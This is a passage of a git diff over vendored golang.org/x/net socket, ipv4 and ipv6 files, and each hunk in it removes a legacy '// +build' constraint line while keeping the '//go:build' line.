amd64 || loong64 || ppc64 || ppc64le || mips64 || mips64le || riscv64 || s390x) && linux -// +build arm64 amd64 loong64 ppc64 ppc64le mips64 mips64le riscv64 s390x -// +build linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go b/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go index 3098f5d783..e212b50f8d 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build amd64 && solaris -// +build amd64,solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_stub.go b/vendor/golang.org/x/net/internal/socket/msghdr_stub.go index eb79151f6a..e876776459 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_stub.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go b/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go index 324e9ee7d1..529db68ee3 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build s390x && zos -// +build s390x,zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/norace.go b/vendor/golang.org/x/net/internal/socket/norace.go index de0ad420fc..8af30ecfbb 100644 --- a/vendor/golang.org/x/net/internal/socket/norace.go +++ b/vendor/golang.org/x/net/internal/socket/norace.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !race -// +build !race package socket diff --git a/vendor/golang.org/x/net/internal/socket/race.go b/vendor/golang.org/x/net/internal/socket/race.go index f0a28a625d..9afa958083 100644 --- a/vendor/golang.org/x/net/internal/socket/race.go +++ b/vendor/golang.org/x/net/internal/socket/race.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build race -// +build race package socket diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go b/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go index 8f79b38f74..0431390789 100644 --- a/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go +++ b/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build linux -// +build linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_msg.go b/vendor/golang.org/x/net/internal/socket/rawconn_msg.go index f7d0b0d2b8..7c0d7410bc 100644 --- a/vendor/golang.org/x/net/internal/socket/rawconn_msg.go +++ b/vendor/golang.org/x/net/internal/socket/rawconn_msg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go b/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go index 02f3285566..e363fb5a89 100644 --- a/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go +++ b/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !linux -// +build !linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go b/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go index dd785877b6..ff7a8baf0b 100644 --- a/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go +++ b/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_bsd.go b/vendor/golang.org/x/net/internal/socket/sys_bsd.go index b258879d44..e7664d48be 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_bsd.go +++ b/vendor/golang.org/x/net/internal/socket/sys_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || openbsd || solaris -// +build aix darwin dragonfly freebsd openbsd solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_const_unix.go b/vendor/golang.org/x/net/internal/socket/sys_const_unix.go index 5d99f2373f..d7627f87eb 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_const_unix.go +++ b/vendor/golang.org/x/net/internal/socket/sys_const_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_linux.go b/vendor/golang.org/x/net/internal/socket/sys_linux.go index 76f5b8ae5d..08d4910778 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_linux.go +++ b/vendor/golang.org/x/net/internal/socket/sys_linux.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build linux && !s390x && !386 -// +build linux,!s390x,!386 package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go b/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go index af964e6171..1d182470d0 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go +++ b/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build loong64 -// +build loong64 package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go b/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go index 5b128fbb2a..0e407d1257 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go +++ b/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build riscv64 -// +build riscv64 package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_posix.go b/vendor/golang.org/x/net/internal/socket/sys_posix.go index 42b8f2340e..58d8654824 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_posix.go +++ b/vendor/golang.org/x/net/internal/socket/sys_posix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_stub.go b/vendor/golang.org/x/net/internal/socket/sys_stub.go index 7cfb349c0c..2e5b473c66 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_stub.go +++ b/vendor/golang.org/x/net/internal/socket/sys_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_unix.go b/vendor/golang.org/x/net/internal/socket/sys_unix.go index de823932b9..93058db5b9 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_unix.go +++ b/vendor/golang.org/x/net/internal/socket/sys_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go b/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go index 00691bd524..45bab004c1 100644 --- a/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go +++ b/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go @@ -3,7 +3,6 @@ // Added for go1.11 compatibility //go:build aix -// +build aix package socket diff --git a/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go b/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go index 6a94fec2c5..b6fc15a1a2 100644 --- a/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go +++ b/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build loong64 -// +build loong64 package socket diff --git a/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go b/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go index c066272ddd..e67fc3cbaa 100644 --- a/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go +++ b/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build riscv64 -// +build riscv64 package socket diff --git a/vendor/golang.org/x/net/ipv4/control_bsd.go b/vendor/golang.org/x/net/ipv4/control_bsd.go index b7385dfd95..c88da8cbe7 100644 --- a/vendor/golang.org/x/net/ipv4/control_bsd.go +++ b/vendor/golang.org/x/net/ipv4/control_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd -// +build aix darwin dragonfly freebsd netbsd openbsd package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/control_pktinfo.go b/vendor/golang.org/x/net/ipv4/control_pktinfo.go index 0e748dbdc4..14ae2dae49 100644 --- a/vendor/golang.org/x/net/ipv4/control_pktinfo.go +++ b/vendor/golang.org/x/net/ipv4/control_pktinfo.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || linux || solaris -// +build darwin linux solaris package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/control_stub.go b/vendor/golang.org/x/net/ipv4/control_stub.go index f27322c3ed..3ba6611609 100644 --- a/vendor/golang.org/x/net/ipv4/control_stub.go +++ b/vendor/golang.org/x/net/ipv4/control_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/control_unix.go b/vendor/golang.org/x/net/ipv4/control_unix.go index 2413e02f8f..2e765548f3 100644 --- a/vendor/golang.org/x/net/ipv4/control_unix.go +++ b/vendor/golang.org/x/net/ipv4/control_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/icmp_stub.go b/vendor/golang.org/x/net/ipv4/icmp_stub.go index cd4ee6e1c9..c2c4ce7ff5 100644 --- a/vendor/golang.org/x/net/ipv4/icmp_stub.go +++ b/vendor/golang.org/x/net/ipv4/icmp_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !linux -// +build !linux package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/payload_cmsg.go b/vendor/golang.org/x/net/ipv4/payload_cmsg.go index 1bb370e25f..91c685e8fc 100644 --- a/vendor/golang.org/x/net/ipv4/payload_cmsg.go +++ b/vendor/golang.org/x/net/ipv4/payload_cmsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/payload_nocmsg.go b/vendor/golang.org/x/net/ipv4/payload_nocmsg.go index 53f0794eb7..2afd4b50ef 100644 --- a/vendor/golang.org/x/net/ipv4/payload_nocmsg.go +++ b/vendor/golang.org/x/net/ipv4/payload_nocmsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sockopt_posix.go b/vendor/golang.org/x/net/ipv4/sockopt_posix.go index eb07c1c02a..82e2c37838 100644 --- a/vendor/golang.org/x/net/ipv4/sockopt_posix.go +++ b/vendor/golang.org/x/net/ipv4/sockopt_posix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sockopt_stub.go b/vendor/golang.org/x/net/ipv4/sockopt_stub.go index cf036893b7..840108bf76 100644 --- a/vendor/golang.org/x/net/ipv4/sockopt_stub.go +++ b/vendor/golang.org/x/net/ipv4/sockopt_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_aix.go b/vendor/golang.org/x/net/ipv4/sys_aix.go index 02730cdfd2..9244a68a38 100644 --- a/vendor/golang.org/x/net/ipv4/sys_aix.go +++ b/vendor/golang.org/x/net/ipv4/sys_aix.go @@ -4,7 +4,6 @@ // Added for go1.11 compatibility //go:build aix -// +build aix package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreq.go b/vendor/golang.org/x/net/ipv4/sys_asmreq.go index 22322b387e..645f254c6d 100644 --- a/vendor/golang.org/x/net/ipv4/sys_asmreq.go +++ b/vendor/golang.org/x/net/ipv4/sys_asmreq.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd || solaris || windows -// +build aix darwin dragonfly freebsd netbsd openbsd solaris windows package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go b/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go index fde640142d..48cfb6db2f 100644 --- a/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go +++ b/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !netbsd && !openbsd && !solaris && !windows -// +build !aix,!darwin,!dragonfly,!freebsd,!netbsd,!openbsd,!solaris,!windows package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreqn.go b/vendor/golang.org/x/net/ipv4/sys_asmreqn.go index 54eb9901b5..0b27b632f1 100644 --- a/vendor/golang.org/x/net/ipv4/sys_asmreqn.go +++ b/vendor/golang.org/x/net/ipv4/sys_asmreqn.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || freebsd || linux -// +build darwin freebsd linux package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go b/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go index dcb15f25a5..303a5e2e68 100644 --- a/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go +++ b/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !darwin && !freebsd && !linux -// +build !darwin,!freebsd,!linux package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_bpf.go b/vendor/golang.org/x/net/ipv4/sys_bpf.go index fb11e324e2..1b4780df41 100644 --- a/vendor/golang.org/x/net/ipv4/sys_bpf.go +++ b/vendor/golang.org/x/net/ipv4/sys_bpf.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build linux -// +build linux package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go b/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go index fc53a0d33a..b1f779b493 100644 --- a/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go +++ b/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !linux -// +build !linux package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_bsd.go b/vendor/golang.org/x/net/ipv4/sys_bsd.go index e191b2f14f..b7b032d260 100644 --- a/vendor/golang.org/x/net/ipv4/sys_bsd.go +++ b/vendor/golang.org/x/net/ipv4/sys_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build netbsd || openbsd -// +build netbsd openbsd package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_ssmreq.go b/vendor/golang.org/x/net/ipv4/sys_ssmreq.go index 6a4e7abf9b..a295e15ea0 100644 --- a/vendor/golang.org/x/net/ipv4/sys_ssmreq.go +++ b/vendor/golang.org/x/net/ipv4/sys_ssmreq.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || freebsd || linux || solaris -// +build darwin freebsd linux solaris package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go b/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go index 157159fd50..74bd454e25 100644 --- a/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go +++ b/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !darwin && !freebsd && !linux && !solaris -// +build !darwin,!freebsd,!linux,!solaris package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_stub.go b/vendor/golang.org/x/net/ipv4/sys_stub.go index d550851658..20af4074c2 100644 --- a/vendor/golang.org/x/net/ipv4/sys_stub.go +++ b/vendor/golang.org/x/net/ipv4/sys_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go b/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go index b7f2d6e5c1..dd454025c7 100644 --- a/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go +++ b/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go @@ -3,7 +3,6 @@ // Added for go1.11 compatibility //go:build aix -// +build aix package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go b/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go index e15c22c748..54f9e13948 100644 --- a/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go +++ b/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build loong64 -// +build loong64 package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go b/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go index e2edebdb81..78374a5250 100644 --- a/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go +++ b/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build riscv64 -// +build riscv64 package ipv4 diff --git a/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go b/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go index 2733ddbe27..a8f04e7b3b 100644 --- a/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go +++ b/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin -// +build darwin package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go b/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go index 9c90844aac..51fbbb1f17 100644 --- a/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go +++ b/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/control_stub.go b/vendor/golang.org/x/net/ipv6/control_stub.go index b7e8643fc9..eb28ce7534 100644 --- a/vendor/golang.org/x/net/ipv6/control_stub.go +++ b/vendor/golang.org/x/net/ipv6/control_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/control_unix.go b/vendor/golang.org/x/net/ipv6/control_unix.go index 63e475db83..9c73b8647e 100644 --- a/vendor/golang.org/x/net/ipv6/control_unix.go +++ b/vendor/golang.org/x/net/ipv6/control_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/icmp_bsd.go b/vendor/golang.org/x/net/ipv6/icmp_bsd.go index 120bf87758..2814534a0b 100644 --- a/vendor/golang.org/x/net/ipv6/icmp_bsd.go +++ b/vendor/golang.org/x/net/ipv6/icmp_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd -// +build aix darwin dragonfly freebsd netbsd openbsd package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/icmp_stub.go b/vendor/golang.org/x/net/ipv6/icmp_stub.go index d60136a901..c92c9b51e1 100644 --- a/vendor/golang.org/x/net/ipv6/icmp_stub.go +++ b/vendor/golang.org/x/net/ipv6/icmp_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/payload_cmsg.go b/vendor/golang.org/x/net/ipv6/payload_cmsg.go index b0692e4304..be04e4d6ae 100644 --- a/vendor/golang.org/x/net/ipv6/payload_cmsg.go +++ b/vendor/golang.org/x/net/ipv6/payload_cmsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/payload_nocmsg.go b/vendor/golang.org/x/net/ipv6/payload_nocmsg.go index cd0ff50838..29b9ccf691 100644 --- a/vendor/golang.org/x/net/ipv6/payload_nocmsg.go +++ b/vendor/golang.org/x/net/ipv6/payload_nocmsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sockopt_posix.go b/vendor/golang.org/x/net/ipv6/sockopt_posix.go index 37c6287130..34dfed588e 100644 --- a/vendor/golang.org/x/net/ipv6/sockopt_posix.go +++ b/vendor/golang.org/x/net/ipv6/sockopt_posix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sockopt_stub.go b/vendor/golang.org/x/net/ipv6/sockopt_stub.go index 32fd8664ce..a09c3aaf26 100644 --- a/vendor/golang.org/x/net/ipv6/sockopt_stub.go +++ b/vendor/golang.org/x/net/ipv6/sockopt_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_aix.go b/vendor/golang.org/x/net/ipv6/sys_aix.go index a47182afb9..93c8efc468 100644 --- a/vendor/golang.org/x/net/ipv6/sys_aix.go +++ b/vendor/golang.org/x/net/ipv6/sys_aix.go @@ -4,7 +4,6 @@ // Added for go1.11 compatibility //go:build aix -// +build aix package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_asmreq.go b/vendor/golang.org/x/net/ipv6/sys_asmreq.go index 6ff9950d13..5c9cb44471 100644 --- a/vendor/golang.org/x/net/ipv6/sys_asmreq.go +++ b/vendor/golang.org/x/net/ipv6/sys_asmreq.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go b/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go index 485290cb82..dc70494680 100644 --- a/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go +++ b/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_bpf.go b/vendor/golang.org/x/net/ipv6/sys_bpf.go index b5661fb8f0..e39f75f49f 100644 --- a/vendor/golang.org/x/net/ipv6/sys_bpf.go +++ b/vendor/golang.org/x/net/ipv6/sys_bpf.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build linux -// +build linux package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go b/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go index cb00661872..8532a8f5de 100644 --- a/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go +++ b/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !linux -// +build !linux package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_bsd.go b/vendor/golang.org/x/net/ipv6/sys_bsd.go index bde41a6cef..9f3bc2afde 100644 --- a/vendor/golang.org/x/net/ipv6/sys_bsd.go +++ b/vendor/golang.org/x/net/ipv6/sys_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build dragonfly || netbsd || openbsd -// +build dragonfly netbsd openbsd package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_ssmreq.go b/vendor/golang.org/x/net/ipv6/sys_ssmreq.go index 023488a49c..b40f5c685b 100644 --- a/vendor/golang.org/x/net/ipv6/sys_ssmreq.go +++ b/vendor/golang.org/x/net/ipv6/sys_ssmreq.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || freebsd || linux || solaris || zos -// +build aix darwin freebsd linux solaris zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go b/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go index acdf2e5cf7..6526aad581 100644 --- a/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go +++ b/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !freebsd && !linux && !solaris && !zos -// +build !aix,!darwin,!freebsd,!linux,!solaris,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_stub.go b/vendor/golang.org/x/net/ipv6/sys_stub.go index 5807bba392..76602c34e6 100644 --- a/vendor/golang.org/x/net/ipv6/sys_stub.go +++ b/vendor/golang.org/x/net/ipv6/sys_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go b/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go index f604b0f3b4..668716df4d 100644 --- a/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go +++ b/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go @@ -3,7 +3,6 @@ // Added for go1.11 compatibility //go:build aix -// +build aix package ipv6 diff --git 